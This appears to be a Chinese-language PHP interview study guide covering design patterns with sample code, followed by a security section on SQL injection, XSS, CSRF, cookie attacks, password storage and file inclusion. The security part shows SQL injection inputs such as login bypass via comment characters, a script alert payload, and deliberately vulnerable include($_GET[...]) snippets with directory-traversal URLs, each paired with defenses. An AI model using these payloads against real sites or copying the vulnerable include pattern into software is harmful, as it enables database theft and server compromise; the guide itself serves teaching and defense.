優點: 1、在記憶體裡只有一個例項,減少了記憶體的開銷,尤其是頻繁的建立和銷燬例項(比如管理學院首頁頁面快取)。 2、避免對資源的多重佔用(比如寫檔案操作)。
缺點:沒有介面,不能繼承,與單一職責原則衝突,一個類應該只關心內部邏輯,而不關心外面怎麼樣來例項化。
使用場景: 1、要求生產唯一序列號。 2、WEB 中的計數器,不用每次重新整理都在資料庫里加一次,用單例先快取起來。 3、建立的一個物件需要消耗的資源過多,比如 I/O 與資料庫的連線等。
/**
* 單例類
* Singleton.class
*/
class Singleton
{
/**
* 靜態成品變數 儲存全域性例項
*/
private static $_instance = NULL;
/**
* 私有化預設構造方法,保證外界無法直接例項化
*/
private function __construct()
{
}
/**
* 靜態工廠方法,返還此類的唯一例項
*/
public static function getInstance() {
if (is_null(self::$_instance)) {
self::$_instance = new Singleton();
// 或者這樣寫
// self::$_instance = new self();
}
return self::$_instance;
}
/**
* 防止使用者克隆例項
*/
public function __clone(){
die('Clone is not allowed.' . E_USER_ERROR);
}
/**
* 測試用方法
*/
public function test()
{
echo 'Singleton Test OK!';
}
}
/**
* 客戶端
*/
class Client {
/**
* Main program.
*/
public static function main() {
$instance = Singleton::getInstance();
$instance->test();
}
}
Client::main();
工廠模式(重點)
意圖:定義一個建立物件的介面,讓其子類自己決定例項化哪一個工廠類,工廠模式使其建立過程延遲到子類進行。
主要解決:主要解決介面選擇的問題。
何時使用:我們明確地計劃不同條件下建立不同例項時。
如何解決:讓其子類實現工廠介面,返回的也是一個抽象的產品。
關鍵程式碼:建立過程在其子類執行。
應用例項: 1、您需要一輛汽車,可以直接從工廠裡面提貨,而不用去管這輛汽車是怎麼做出來的,以及這個汽車裡面的具體實現。 2、Hibernate 換資料庫只需換方言和驅動就可以。
優點: 1、一個呼叫者想建立一個物件,只要知道其名稱就可以了。 2、擴充套件性高,如果想增加一個產品,只要擴充套件一個工廠類就可以。 3、遮蔽產品的具體實現,呼叫者只關心產品的介面。
缺點:每次增加一個產品時,都需要增加一個具體類和物件實現工廠,使得系統中類的個數成倍增加,在一定程度上增加了系統的複雜度,同時也增加了系統具體類的依賴。這並不是什麼好事。
使用場景: 1、日誌記錄器:記錄可能記錄到本地硬碟、系統事件、遠端伺服器等,使用者可以選擇記錄日誌到什麼地方。 2、資料庫訪問,當使用者不知道最後系統採用哪一類資料庫,以及資料庫可能有變化時。 3、設計一個連線伺服器的框架,需要三個協議,"POP3"、"IMAP"、"HTTP",可以把這三個作為產品類,共同實現一個介面。
注意事項:作為一種建立類模式,在任何需要生成複雜物件的地方,都可以使用工廠方法模式。有一點需要注意的地方就是複雜物件適合使用工廠模式,而簡單物件,特別是只需要通過 new 就可以完成建立的物件,無需使用工廠模式。如果使用工廠模式,就需要引入一個工廠類,會增加系統的複雜度。
<?php
header('Content-type:text/html;charset=utf-8');
/*
*工廠方法模式
*/
/**
* Interface people 人類
*/
interface people
{
public function say();
}
/**
* Class man 繼承people的男人類
*/
class man implements people
{
// 實現people的say方法
function say()
{
echo '我是男人-hi<br>';
}
}
/**
* Class women 繼承people的女人類
*/
class women implements people
{
// 實現people的say方法
function say()
{
echo '我是女人-hi<br>';
}
}
/**
* Interface createPeople 建立人物類
* 注意:與上面簡單工廠模式對比。這裡本質區別在於,此處是將物件的建立抽象成一個介面。
*/
interface createPeople
{
public function create();
}
/**
* Class FactoryMan 繼承createPeople的工廠類-用於例項化男人類
*/
class FactoryMan implements createPeople
{
// 建立男人物件(例項化男人類)
public function create()
{
return new man();
}
}
/**
* Class FactoryMan 繼承createPeople的工廠類-用於例項化女人類
*/
class FactoryWomen implements createPeople
{
// 建立女人物件(例項化女人類)
function create()
{
return new women();
}
}
/**
* Class Client 操作具體類
*/
class Client
{
// 具體生產物件並執行物件方法測試
public function test() {
$factory = new FactoryMan();
$man = $factory->create();
$man->say();
$factory = new FactoryWomen();
$man = $factory->create();
$man->say();
}
}
// 執行
$demo = new Client;
$demo->test();
觀察者模式(重點)
當物件間存在一對多關係時,則使用觀察者模式(Observer Pattern)。比如,當一個物件被修改時,則會自動通知它的依賴物件。觀察者模式屬於行為型模式。
意圖:定義物件間的一種一對多的依賴關係,當一個物件的狀態發生改變時,所有依賴於它的物件都得到通知並被自動更新。
主要解決:一個物件狀態改變給其他物件通知的問題,而且要考慮到易用和低耦合,保證高度的協作。
何時使用:一個物件(目標物件)的狀態發生改變,所有的依賴物件(觀察者物件)都將得到通知,進行廣播通知。
如何解決:使用物件導向技術,可以將這種依賴關係弱化。
關鍵程式碼:在抽象類裡有一個 ArrayList 存放觀察者們。
應用例項: 1、拍賣的時候,拍賣師觀察最高標價,然後通知給其他競價者競價。 2、西遊記裡面悟空請求菩薩降服紅孩兒,菩薩灑了一地水招來一個老烏龜,這個烏龜就是觀察者,他觀察菩薩灑水這個動作。
優點: 1、觀察者和被觀察者是抽象耦合的。 2、建立一套觸發機制。
缺點: 1、如果一個被觀察者物件有很多的直接和間接的觀察者的話,將所有的觀察者都通知到會花費很多時間。 2、如果在觀察者和觀察目標之間有迴圈依賴的話,觀察目標會觸發它們之間進行迴圈呼叫,可能導致系統崩潰。 3、觀察者模式沒有相應的機制讓觀察者知道所觀察的目標物件是怎麼發生變化的,而僅僅只是知道觀察目標發生了變化。
使用場景:
一個抽象模型有兩個方面,其中一個方面依賴於另一個方面。將這些方面封裝在獨立的物件中使它們可以各自獨立地改變和複用。
一個物件的改變將導致其他一個或多個物件也發生改變,而不知道具體有多少物件將發生改變,可以降低物件之間的耦合度。
一個物件必須通知其他物件,而並不知道這些物件是誰。
需要在系統中建立一個觸發鏈,A物件的行為將影響B物件,B物件的行為將影響C物件……,可以使用觀察者模式建立一種鏈式觸發機制。
在PHP SPL中已經提供SplSubject和SqlOberver介面,原始碼如下:
/**
* The <b>SplSubject</b> interface is used alongside
* <b>SplObserver</b> to implement the Observer Design Pattern.
* @link http://php.net/manual/en/class.splsubject.php
*/
interface SplSubject {
/**
* Attach an SplObserver
* @link http://php.net/manual/en/splsubject.attach.php
* @param SplObserver $observer <p>
* The <b>SplObserver</b> to attach.
* </p>
* @return void
* @since 5.1.0
*/
public function attach (SplObserver $observer);
/**
* Detach an observer
* @link http://php.net/manual/en/splsubject.detach.php
* @param SplObserver $observer <p>
* The <b>SplObserver</b> to detach.
* </p>
* @return void
* @since 5.1.0
*/
public function detach (SplObserver $observer);
/**
* Notify an observer
* @link http://php.net/manual/en/splsubject.notify.php
* @return void
* @since 5.1.0
*/
public function notify ();
}
/**
* The <b>SplObserver</b> interface is used alongside
* <b>SplSubject</b> to implement the Observer Design Pattern.
* @link http://php.net/manual/en/class.splobserver.php
*/
interface SplObserver {
/**
* Receive update from subject
* @link http://php.net/manual/en/splobserver.update.php
* @param SplSubject $subject <p>
* The <b>SplSubject</b> notifying the observer of an update.
* </p>
* @return void
* @since 5.1.0
*/
public function update (SplSubject $subject);
}
寫程式碼實現以上兩個介面並測試:
<?php
header('Content-type:text/html;charset=utf-8');
/**
* Class Subject 主題
*/
class Subject implements SplSubject
{
private $_observers = [];
/**
* 實現新增觀察者方法
*
* @param SplObserver $observer
*/
public function attach(SplObserver $observer)
{
if (!in_array($observer, $this->_observers)) {
$this->_observers[] = $observer;
}
}
/**
* 實現移除觀察者方法
*
* @param SplObserver $observer
*/
public function detach(SplObserver $observer)
{
if (false !== ($index = array_search($observer, $this->_observers))) {
unset($this->_observers[$index]);
}
}
/**
* 實現提示資訊方法
*/
public function notify()
{
foreach ($this->_observers as $observer) {
$observer->update($this);
}
}
/**
* 設定數量
*
* @param $count
*/
public function setCount($count)
{
echo "資料量加" . $count . '<br>';
}
/**
* 設定積分
*
* @param $integral
*/
public function setIntegral($integral)
{
echo "積分量加" . $integral . '<br>';
}
}
/**
* Class Observer1 觀察者一
*/
class Observer1 implements SplObserver
{
public function update(SplSubject $subject)
{
$subject->setCount(10);
}
}
/**
* Class Observer2 觀察者二
*/
class Observer2 implements SplObserver
{
public function update(SplSubject $subject)
{
$subject->setIntegral(10);
}
}
/**
* Class Client 客戶端
*/
class Client
{
/**
* 測試方法
*/
public static function test()
{
// 初始化主題
$subject = new Subject();
// 初始化觀察者一
$observer1 = new Observer1();
// 初始化觀察者二
$observer2 = new Observer2();
// 新增觀察者一
$subject->attach($observer1);
// 新增觀察者二
$subject->attach($observer2);
// 訊息提示
$subject->notify();//輸出:資料量加1 積分量加10
// 移除觀察者一
$subject->detach($observer1);
// 訊息提示
$subject->notify();//輸出:資料量加1 積分量加10 積分量加10
}
}
// 執行測試
Client::test();
個人讀程式碼理解:把觀察者新增進主題的觀察者陣列中,主題的發訊息方法的本質是呼叫觀察者的接收訊息的方法,而接收訊息的方法中又呼叫主題的要實現變化的方法,來實現觀察者隨主題而變。
依賴注入(重點)
依賴注入(Dependency Injection)是控制反轉(Inversion of Control)的一種實現方式。
我們先來看看什麼是控制反轉。
當呼叫者需要被呼叫者的協助時,在傳統的程式設計過程中,通常由呼叫者來建立被呼叫者的例項,但在這裡,建立被呼叫者的工作不再由呼叫者來完成,而是將被呼叫者的建立移到呼叫者的外部,從而反轉被呼叫者的建立,消除了呼叫者對被呼叫者建立的控制,因此稱為控制反轉。
要實現控制反轉,通常的解決方案是將建立被呼叫者例項的工作交由 IoC 容器來完成,然後在呼叫者中注入被呼叫者(通過構造器/方法注入實現),這樣我們就實現了呼叫者與被呼叫者的解耦,該過程被稱為依賴注入。
依賴注入不是目的,它是一系列工具和手段,最終的目的是幫助我們開發出鬆散耦合(loose coupled)、可維護、可測試的程式碼和程式。這條原則的做法是大家熟知的面向介面,或者說是面向抽象程式設計。
裝飾器模式
裝飾器模式(Decorator Pattern)允許向一個現有的物件新增新的功能,同時又不改變其結構。這種型別的設計模式屬於結構型模式,它是作為現有的類的一個包裝。
這種模式建立了一個裝飾類,用來包裝原有的類,並在保持類方法簽名完整性的前提下,提供了額外的功能。
我們通過下面的例項來演示裝飾器模式的用法。其中,我們將把一個形狀裝飾上不同的顏色,同時又不改變形狀類。
意圖:動態地給一個物件新增一些額外的職責。就增加功能來說,裝飾器模式相比生成子類更為靈活。
主要解決:一般的,我們為了擴充套件一個類經常使用繼承方式實現,由於繼承為類引入靜態特徵,並且隨著擴充套件功能的增多,子類會很膨脹。
何時使用:在不想增加很多子類的情況下擴充套件類。
如何解決:將具體功能職責劃分,同時繼承裝飾者模式。
關鍵程式碼: 1、Component 類充當抽象角色,不應該具體實現。 2、修飾類引用和繼承 Component 類,具體擴充套件類重寫父類方法。
應用例項: 1、孫悟空有 72 變,當他變成"廟宇"後,他的根本還是一隻猴子,但是他又有了廟宇的功能。 2、不論一幅畫有沒有畫框都可以掛在牆上,但是通常都是有畫框的,並且實際上是畫框被掛在牆上。在掛在牆上之前,畫可以被蒙上玻璃,裝到框子裡;這時畫、玻璃和畫框形成了一個物體。
優點:裝飾類和被裝飾類可以獨立發展,不會相互耦合,裝飾模式是繼承的一個替代模式,裝飾模式可以動態擴充套件一個實現類的功能。
缺點:多層裝飾比較複雜。
使用場景: 1、擴充套件一個類的功能。 2、動態增加功能,動態撤銷。
注意事項:可代替繼承。
代理模式
在代理模式(Proxy Pattern)中,一個類代表另一個類的功能。這種型別的設計模式屬於結構型模式。
在代理模式中,我們建立具有現有物件的物件,以便向外界提供功能介面。
意圖:為其他物件提供一種代理以控制對這個物件的訪問。
主要解決:在直接訪問物件時帶來的問題,比如說:要訪問的物件在遠端的機器上。在物件導向系統中,有些物件由於某些原因(比如物件建立開銷很大,或者某些操作需要安全控制,或者需要程式外的訪問),直接訪問會給使用者或者系統結構帶來很多麻煩,我們可以在訪問此物件時加上一個對此物件的訪問層。
何時使用:想在訪問一個類時做一些控制。
如何解決:增加中間層。
關鍵程式碼:實現與被代理類組合。
應用例項: 1、Windows 裡面的快捷方式。 2、豬八戒去找高翠蘭結果是孫悟空變的,可以這樣理解:把高翠蘭的外貌抽象出來,高翠蘭本人和孫悟空都實現了這個介面,豬八戒訪問高翠蘭的時候看不出來這個是孫悟空,所以說孫悟空是高翠蘭代理類。 3、買火車票不一定在火車站買,也可以去代售點。 4、一張支票或銀行存單是賬戶中資金的代理。支票在市場交易中用來代替現金,並提供對簽發人賬號上資金的控制。 5、spring aop。
優點: 1、職責清晰。 2、高擴充套件性。 3、智慧化。
缺點: 1、由於在客戶端和真實主題之間增加了代理物件,因此有些型別的代理模式可能會造成請求的處理速度變慢。 2、實現代理模式需要額外的工作,有些代理模式的實現非常複雜。
使用場景:按職責來劃分,通常有以下使用場景: 1、遠端代理。 2、虛擬代理。 3、Copy-on-Write 代理。 4、保護(Protect or Access)代理。 5、Cache代理。 6、防火牆(Firewall)代理。 7、同步化(Synchronization)代理。 8、智慧引用(Smart Reference)代理。
注意事項: 1、和介面卡模式的區別:介面卡模式主要改變所考慮物件的介面,而代理模式不能改變所代理類的介面。 2、和裝飾器模式的區別:裝飾器模式為了增強功能,而代理模式是為了加以控制。
組合模式
組合模式(Composite Pattern),又叫部分整體模式,是用於把一組相似的物件當作一個單一的物件。組合模式依據樹形結構來組合物件,用來表示部分以及整體層次。這種型別的設計模式屬於結構型模式,它建立了物件組的樹形結構。
這種模式建立了一個包含自己物件組的類。該類提供了修改相同物件組的方式。
我們通過下面的例項來演示組合模式的用法。例項演示了一個組織中員工的層次結構。
意圖:將物件組合成樹形結構以表示"部分-整體"的層次結構。組合模式使得使用者對單個物件和組合物件的使用具有一致性。
主要解決:它在我們樹型結構的問題中,模糊了簡單元素和複雜元素的概念,客戶程式可以向處理簡單元素一樣來處理複雜元素,從而使得客戶程式與複雜元素的內部結構解耦。
何時使用: 1、您想表示物件的部分-整體層次結構(樹形結構)。 2、您希望使用者忽略組合物件與單個物件的不同,使用者將統一地使用組合結構中的所有物件。
如何解決:樹枝和葉子實現統一介面,樹枝內部組合該介面。
關鍵程式碼:樹枝內部組合該介面,並且含有內部屬性 List,裡面放 Component。
應用例項: 1、算術表示式包括運算元、操作符和另一個運算元,其中,另一個操作符也可以是運算元、操作符和另一個運算元。 2、在 JAVA AWT 和 SWING 中,對於 Button 和 Checkbox 是樹葉,Container 是樹枝。
優點: 1、高層模組呼叫簡單。 2、節點自由增加。
缺點:在使用組合模式時,其葉子和樹枝的宣告都是實現類,而不是介面,違反了依賴倒置原則。
使用場景:部分、整體場景,如樹形選單,檔案、資料夾的管理。
注意事項:定義時為具體類。
安全篇
SQL 注入
解釋:
SQL隱碼攻擊,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的SQL命令。具體來說,它是利用現有應用程式,將(惡意的)SQL命令注入到後臺資料庫引擎執行的能力,它可以通過在Web表單中輸入(惡意)SQL語句得到一個存在安全漏洞的網站上的資料庫,而不是按照設計者意圖去執行SQL語句。
常用方法(簡單舉例):
以php程式語言、mysql資料庫為例,介紹一下SQL隱碼攻擊的構造技巧、構造方法
1.數字注入
在瀏覽器位址列輸入:learn.me/sql/article.php?id=1,這是一個get型介面,傳送這個請求相當於呼叫一個查詢語句:
$sql = "SELECT * FROM article WHERE id =",$id
正常情況下,應該返回一個id=1的文章資訊。那麼,如果在瀏覽器位址列輸入:learn.me/sql/article.php?id=-1 OR 1 =1,這就是一個SQL隱碼攻擊了,可能會返回所有文章的相關資訊。為什麼會這樣呢?
這是因為,id = -1永遠是false,1=1永遠是true,所有整個where語句永遠是ture,所以where條件相當於沒有加where條件,那麼查詢的結果相當於整張表的內容
2.字串注入
有這樣一個使用者登入場景:登入介面包括使用者名稱和密碼輸入框,以及提交按鈕。輸入使用者名稱和密碼,提交。
這是一個post請求,登入時呼叫介面learn.me/sql/login.html,首先連線資料庫,然後後臺對post請求引數中攜帶的使用者名稱、密碼進行引數校驗,即sql的查詢過程。假設正確的使用者名稱和密碼為user和pwd123,輸入正確的使用者名稱和密碼、提交,相當於呼叫了以下的SQL語句:
SELECT * FROM user WHERE username = 'user' ADN password = 'pwd123'
由於使用者名稱和密碼都是字串,SQL隱碼攻擊方法即把引數攜帶的資料變成mysql中註釋的字串。mysql中有2種註釋的方法:
1)'#':'#'後所有的字串都會被當成註釋來處理
使用者名稱輸入:user'#(單引號閉合user左邊的單引號),密碼隨意輸入,如:111,然後點選提交按鈕。等價於SQL語句:
SELECT * FROM user WHERE username = 'user'#'ADN password = '111'
'#'後面都被註釋掉了,相當於:
SELECT * FROM user WHERE username = 'user'
2)'-- ' (--後面有個空格):'-- '後面的字串都會被當成註釋來處理
使用者名稱輸入:user'-- (注意--後面有個空格,單引號閉合user左邊的單引號),密碼隨意輸入,如:111,然後點選提交按鈕。等價於SQL語句:
SELECT * FROM user WHERE username = 'user'-- 'AND password = '111'
SELECT * FROM user WHERE username = 'user'-- 'AND password = '1111'
'-- '後面都被註釋掉了,相當於:
SELECT * FROM user WHERE username = 'user'
因此,以上兩種情況可能輸入一個錯誤的密碼或者不輸入密碼就可登入使用者名稱為'user'的賬號,這是十分危險的事情。
防範方法:
使用引數化的過濾性語句
要防禦SQL隱碼攻擊,使用者的輸入就絕對不能直接被嵌入到SQL語句中。恰恰相反,使用者的輸入必須進行過濾,或者使用引數化的語句。引數化的語句使用引數而不是將使用者輸入嵌入到語句中。在多數情況中,SQL語句就得以修正。然後,使用者輸入就被限於一個引數。
輸入驗證
檢查使用者輸入的合法性,確信輸入的內容只包含合法的資料。資料檢查應當在客戶端和伺服器端都執行之所以要執行伺服器端驗證,是為了彌補客戶端驗證機制脆弱的安全性。
在客戶端,攻擊者完全有可能獲得網頁的原始碼,修改驗證合法性的指令碼(或者直接刪除指令碼),然後將非法內容通過修改後的表單提交給伺服器。因此,要保證驗證操作確實已經執行,唯一的辦法就是在伺服器端也執行驗證。你可以使用許多內建的驗證物件,例如Regular Expression Validator,它們能夠自動生成驗證用的客戶端指令碼,當然你也可以插入伺服器端的方法呼叫。如果找不到現成的驗證物件,你可以通過Custom Validator自己建立一個。
錯誤訊息處理
防範SQL隱碼攻擊,還要避免出現一些詳細的錯誤訊息,因為黑客們可以利用這些訊息。要使用一種標準的輸入確認機制來驗證所有的輸入資料的長度、型別、語句、企業規則等。
加密處理
將使用者登入名稱、密碼等資料加密儲存。加密使用者輸入的資料,然後再將它與資料庫中儲存的資料比較,這相當於對使用者輸入的資料進行了“消毒”處理,使用者輸入的資料不再對資料庫有任何特殊的意義,從而也就防止了攻擊者注入SQL命令。
儲存過程來執行所有的查詢
SQL引數的傳遞方式將防止攻擊者利用單引號和連字元實施攻擊。此外,它還使得資料庫許可權可以限制到只允許特定的儲存過程執行,所有的使用者輸入必須遵從被呼叫的儲存過程的安全上下文,這樣就很難再發生注入式攻擊了。
使用專業的漏洞掃描工具
攻擊者們目前正在自動搜尋攻擊目標並實施攻擊,其技術甚至可以輕易地被應用於其它的Web架構中的漏洞。企業應當投資於一些專業的漏洞掃描工具,如大名鼎鼎的Acunetix的Web漏洞掃描程式等。一個完善的漏洞掃描程式不同於網路掃描程式,它專門查詢網站上的SQL隱碼攻擊式漏洞。最新的漏洞掃描程式可以查詢最新發現的漏洞。
確保資料庫安全
鎖定你的資料庫的安全,只給訪問資料庫的web應用功能所需的最低的許可權,撤銷不必要的公共許可,使用強大的加密技術來保護敏感資料並維護審查跟蹤。如果web應用不需要訪問某些表,那麼確認它沒有訪問這些表的許可權。如果web應用只需要只讀的許可權,那麼就禁止它對此表的 drop 、insert、update、delete 的許可權,並確保資料庫打了最新補丁。
安全審評
在部署應用系統前,始終要做安全審評。建立一個正式的安全過程,並且每次做更新時,要對所有的編碼做審評。開發隊伍在正式上線前會做很詳細的安全審評,然後在幾周或幾個月之後他們做一些很小的更新時,他們會跳過安全審評這關, “就是一個小小的更新,我們以後再做編碼審評好了”。請始終堅持做安全審評。
XSS 與 CSRF
XSS介紹,簡書原文(敘述和舉例比較通俗易懂)
xss 跨站指令碼攻擊(Cross Site Scripting),為了不和層疊樣式表(Cascading Style Sheets,CSS)縮寫混淆,所以將跨站指令碼攻擊縮寫為xss。
xss是什麼
xss就是攻擊者在web頁面插入惡意的Script程式碼,當使用者瀏覽該頁之時,嵌入其中web裡面的Script程式碼會被執行,從而達到惡意攻擊使用者的特殊目的。
反射型XSS,是最常用的,使用最廣的一種方式。通過給別人傳送有惡意指令碼程式碼引數的URL,當URL地址被開啟時,特有的惡意程式碼引數唄HTML解析、執行。
它的特點:是非持久化,必須使用者點選帶有特定引數的連結才能引起。
儲存型的攻擊指令碼被儲存到了資料庫或者檔案中,服務端在讀取了儲存的內容回顯了。就是儲存型。這種情況下使用者直接開啟正常的頁面就會看到被注入
CSRF介紹,簡書原文
一、CSRF是什麼
CSRF全稱為跨站請求偽造(Cross-site request forgery),是一種網路攻擊方式,也被稱為 one-click attack 或者 session riding。
二、CSRF攻擊原理
CSRF攻擊利用網站對於使用者網頁瀏覽器的信任,挾持使用者當前已登陸的Web應用程式,去執行並非使用者本意的操作。
三、常見預防方法
referer 驗證
根據HTTP協議,在http請求頭中包含一個referer的欄位,這個欄位記錄了該http請求的原地址.通常情況下,執行轉賬操作的post請求www.bank.com/transfer.php應該是點選www.bank.com網頁的按鈕來觸發的操作,這個時候轉賬請求的referer應該是www.bank.com.而如果黑客要進行csrf攻擊,只能在自己的網站www.hacker.com上偽造請求.偽造請求的referer是www.hacker.com.所以我們通過對比post請求的referer是不是www.bank.com就可以判斷請求是否合法.
這種方式驗證比較簡單,網站開發者只要在post請求之前檢查referer就可以,但是由於referer是由瀏覽器提供的.雖然http協議有要求不能篡改referer的值.但是一個網站的安全性絕對不能交由其他人員來保證.
token 驗證
從上面的樣式可以發現,攻擊者偽造了轉賬的表單,那麼網站可以在表單中加入了一個隨機的token來驗證.token隨著其他請求資料一起被提交到伺服器.伺服器通過驗證token的值來判斷post請求是否合法.由於攻擊者沒有辦法獲取到頁面資訊,所以它沒有辦法知道token的值.那麼偽造的表單中就沒有該token值.伺服器就可以判斷出這個請求是偽造的.
輸入過濾
Web的攻擊,大部分是來自於外部,如Url上新增一些欄位注入($_GET輸入),表單的提交注入(一般為$_POST),所以在接收資料時對資料進行過濾,是很有必要的。
一. 一般php自帶的過濾方法有:
1.空過濾
trim過濾字串首尾空格
$name = trim($_POST['name']);
2.標籤過濾 :
strip_tags會將字串中的php標籤(<?php ?>)Html標籤(<h1></h1><script></script>....等)移除。一定程式上阻止了惡意注入。
//for example:$_POST['name'] = "<script>alert('hehe');</script>";var_dump($_POST['name']);//彈出資訊框 'hehe'$name = strip_tags($_POST['name']);var_dump($name); //string(14) "alert('hehe');"
3.轉資料型別
若知道要接收的資料是整形或浮點形,可以直接轉資料型別。
//轉整形 $number = intval($_POST['number']);$price = floatval($_POST['price']);
4.移除xss攻擊(跨站指令碼攻擊)
xss攻擊有時會把標籤轉換成其他資料,strip_tags防止不了,
ThinkPHP中有個remove_xss方法,可以將大部分xss攻擊阻止。這方法在 ./ThinkPHP/Extend/Function/extend.php中,為了方便使用,可以放到專案的common.php裡。
呼叫時如下
$name = remove_xss($_POST['name']);
5.儲存文章內容類轉義
使用kindeditor之類的內容編輯器時,因為提交到後臺時是以Html形式提交的,而且需要儲存到資料庫,為了防止sql注入,需要在進資料庫前進行特殊字元轉義,這時用過濾標籤的方法或各類的方法都不適合。只能對標籤和特殊符號進行轉義,這時使用到的方法是addslashes。
addslashes在使用前先檢查一下,php是否自動開啟了自動轉義。用get_magic_quotes_gpc()方法判斷,如果已開,則是true,否為false。
if(!get_magic_quotes_gpc()){
$content = addslashes($_POST['content']);
}else{
$content= $_POST['content'];
}
這樣就完成了轉義,然而在展示頁面,從資料庫拿出來的內容是經過轉義的html,如果直接展示,html標籤等都識別不到,會直接輸出轉義過的字串。這時需要用反轉義來還原資料。如下
echo stripslashes($content);
Laravel學院的關於php安全的三篇文章
Cookie 安全
Csdn一篇部落格(下面摘要)
1. Cookie 洩漏(欺騙)
如下圖,cookie在http協議中是明文傳輸的,並且直接附在http報文的前面,所以只要在網路中加個嗅探工具,獲取http包,就可以分析並獲得cookie的值。
此時,當我們獲取到別人的cookie的值,就產生了一種攻擊漏洞,即cookie欺騙。我們將獲取到的cookie值加在http請求前,伺服器就會把我們當作是該cookie的使用者,我們就成功的冒充了其他使用者,可以使用其他使用者在伺服器的資源等。
既然明文cookie不安全,那麼我們就使用加密傳輸cookie。這樣即使資料包被擷取,cookie也不會被洩漏。把http協議改成加密的https,如下圖:
但是攻擊者依舊可以通過社會工程學等等誘使使用者主動訪問在http協議下的伺服器,從而獲取明文cookie,因此加密後的cookie依舊不安全。如下圖:使用者先是通過HTTPS訪問了bank.com伺服器。而後,攻擊者在網站weibo.com中插入js程式碼,該程式碼中img指向訪問http下的non.bank.com伺服器。攻擊者通過社會工程學誘使使用者去訪問這條連結,當使用者一點選該連結,就自動訪問non.bank.com,讓伺服器給使用者一個cookie。因為cookie同源策略中domain是向上匹配的。所以伺服器會將該使用者在bank.com的cookie 也分配給non.bank.com。這時就得到了bank.com給使用者的cookie就被洩漏了。
在HTTPS也不安全的情況下,我們考慮cookie 自身屬性。
Cookie 中有個屬性secure,當該屬性設定為true時,表示建立的 Cookie 會被以安全的形式向伺服器傳輸,也就是隻能在 HTTPS 連線中被瀏覽器傳遞到伺服器端進行會話驗證,如果是 HTTP 連線則不會傳遞該cookie資訊,所以不會被竊取到Cookie 的具體內容。就是隻允許在加密的情況下將cookie加在資料包請求頭部,防止cookie被帶出來。
另一個是 HttpOnly屬性,如果在Cookie中設定了"HttpOnly"屬性,那麼通過程式(JS指令碼、Applet等)將無法讀取到Cookie資訊,這樣能有效的防止XSS攻擊。
secure屬性是防止資訊在傳遞的過程中被監聽捕獲後資訊洩漏,HttpOnly屬性的目的是防止程式獲取cookie後進行攻擊。
但是這兩個屬性並不能解決cookie在本機出現的資訊洩漏的問題(FireFox的外掛FireBug能直接看到cookie的相關資訊)。
2. Cookie 注入\覆蓋
Cookie 欺騙是攻擊者登入的是受害者的身份。而Cookie 注入是認證為攻擊者的攻擊方式,受害者登入的是攻擊者的身份。
Cookie注入簡單來說就是利用Cookie而發起的注入攻擊。從本質上來講,Cookie注入與一般的注入(例如,傳統的SQL隱碼攻擊)並無不同,兩者都是針對資料庫的注入,只是表現形式上略有不同。Cookie 注入就是將提交的引數以cookie的方式提交。而一般的注入是使用get和post方式提交。Get方式提交就是直接在網址之後加需注入的內容,而post 是經過表單提取的方式。Post和get不同就在於,get方式我們可以在ie位址列看到我們提交的引數,而post 不能。
在 ASP 指令碼中 Request 物件是使用者與網站資料互動之中非常關鍵的點,Request 物件 獲取客戶端提交資料常用的 GET 和 POST 兩種方式,同時可以不通過集合來獲取資料,即直接用“request(“name”)”等。
相對post和get方式注入來說,cookie注入就要稍微繁瑣,要進行cookie注入,我們首先就要修改cookie,這裡就需要使用到Javascript語言。另外cookie注入的形成有兩個必須條件: 條件1是程式對get和post方式提交的資料進行了過濾,但未對cookie方式提交的資料庫進行過濾;條件2是在條件1的基礎上還需要程式對提交資料獲取方式是直接request("xxx")的方式,未指明使用request物件的具體方法進行獲取。
Cookie 注入 從技術手段來講,比較有技術含量。如果只是簡單的注入,例如,讓受害者登入攻擊者的郵箱,那麼只要攻擊者檢視郵箱的信件就會發現異常,容易被發現。那麼這種情況下,就需要進行精準的攻擊。例如攻擊”一個網頁“中的一個組成介面,替換“一次http行為”中的某些階段行為。精確攻擊將在下文cookie慣性思維中細講,這裡不多做描述。精確攻擊就很難被發現,極為隱蔽。
如下圖,使用者先是用HTTPS的方式訪問bank.com,而後,我們讓使用者使用HTTP的方式來訪問non.bank.com,這時我們能得到一個cookie ,攻擊者此時就可以將該明文cookie 替換成攻擊者attack的cookie。在domain 向上匹配的同源策略下和cookie 優先順序的情況下,訪問non.bank.com時得到的cookie 會更優先,這時使用者通過https訪問bank.com時,就會使用attack優先順序更高的cookie。
禁用 mysql_ 系函式
在php.ini配置檔案中,找到disable_functions = 一行,將要禁用的函式名稱作為該屬性的值,多個函式用半形逗號隔開
資料庫儲存使用者密碼時,應該是怎麼做才安全
個人總結來說,第一可以採取第三方可信企業提供的openid服務,自己不儲存使用者賬號資訊,也就不用擔心密碼安全問題,但這樣做的缺點是可能受制於人且對客戶的程式處理不方便;第二就是一定不能直接明文儲存,要加salt一塊儲存,即使加了salt也還需要加密儲存,選擇加密演算法時也不能選加密係數低比較容易暴力破解的如md5,sha1,sha256等等,可以用bcrypt演算法。
驗證碼 Session 問題
不太確定題目想問什麼,僅附上相關性的文章
https://segmentfault.com/q/1010000009724669/a-1020000009725106
http://netsecurity.51cto.com/art/201402/428721.htm
安全的 Session ID (讓即使攔截後,也無法模擬使用)
目錄許可權安全
更多應該是指伺服器方面的,由於對linux瞭解不是很多,只能先附上相關文章
https://www.jianshu.com/p/44fe3ec5b704
https://www.anquanke.com/post/id/87011
https://www.cnblogs.com/sochishun/p/7413572.html
包含本地與遠端檔案
php檔案包含函式:
include()
require()
include_once()
require_once()
本地檔案包含:
<?php #存在本地檔案包含的程式碼
include($_GET['test']);
?>
exploit:
包含當前目錄的 lfi.txt(內容為<?php phpinfo();?>):
跨目錄包含:
http://localhost:81/lfi/lfi.php?test=../lfi.txt #包含上層目錄的lfi.txt檔案
http://localhost:81/lfi/lfi.php?test=/lfi_in/lfi.txt #包含內層目錄的lfi.txt檔案
防禦:
防止跨目錄:
在php.ini中設定open_basedir
open_basedir = C:\Program Files\phpStudy\WWW\lfi #限制在當前目錄下(包括子目錄)
open_basedir = C:\Program Files\phpStudy\WWW\lfi\ #限制在當前目錄下(不包括子目錄)
open_basedir可被繞過:wooyun連結
防止本地檔案包含:
使用列舉
$file =$_GET['test'];
switch ($file) {
case 'lfi.txt':
include('./lfi.txt');
break;
default:
include('./notexists.txt');
break;
}
?>
遠端檔案包含:
<?php
include($_GET['file'].'txt');
?>
exploit:
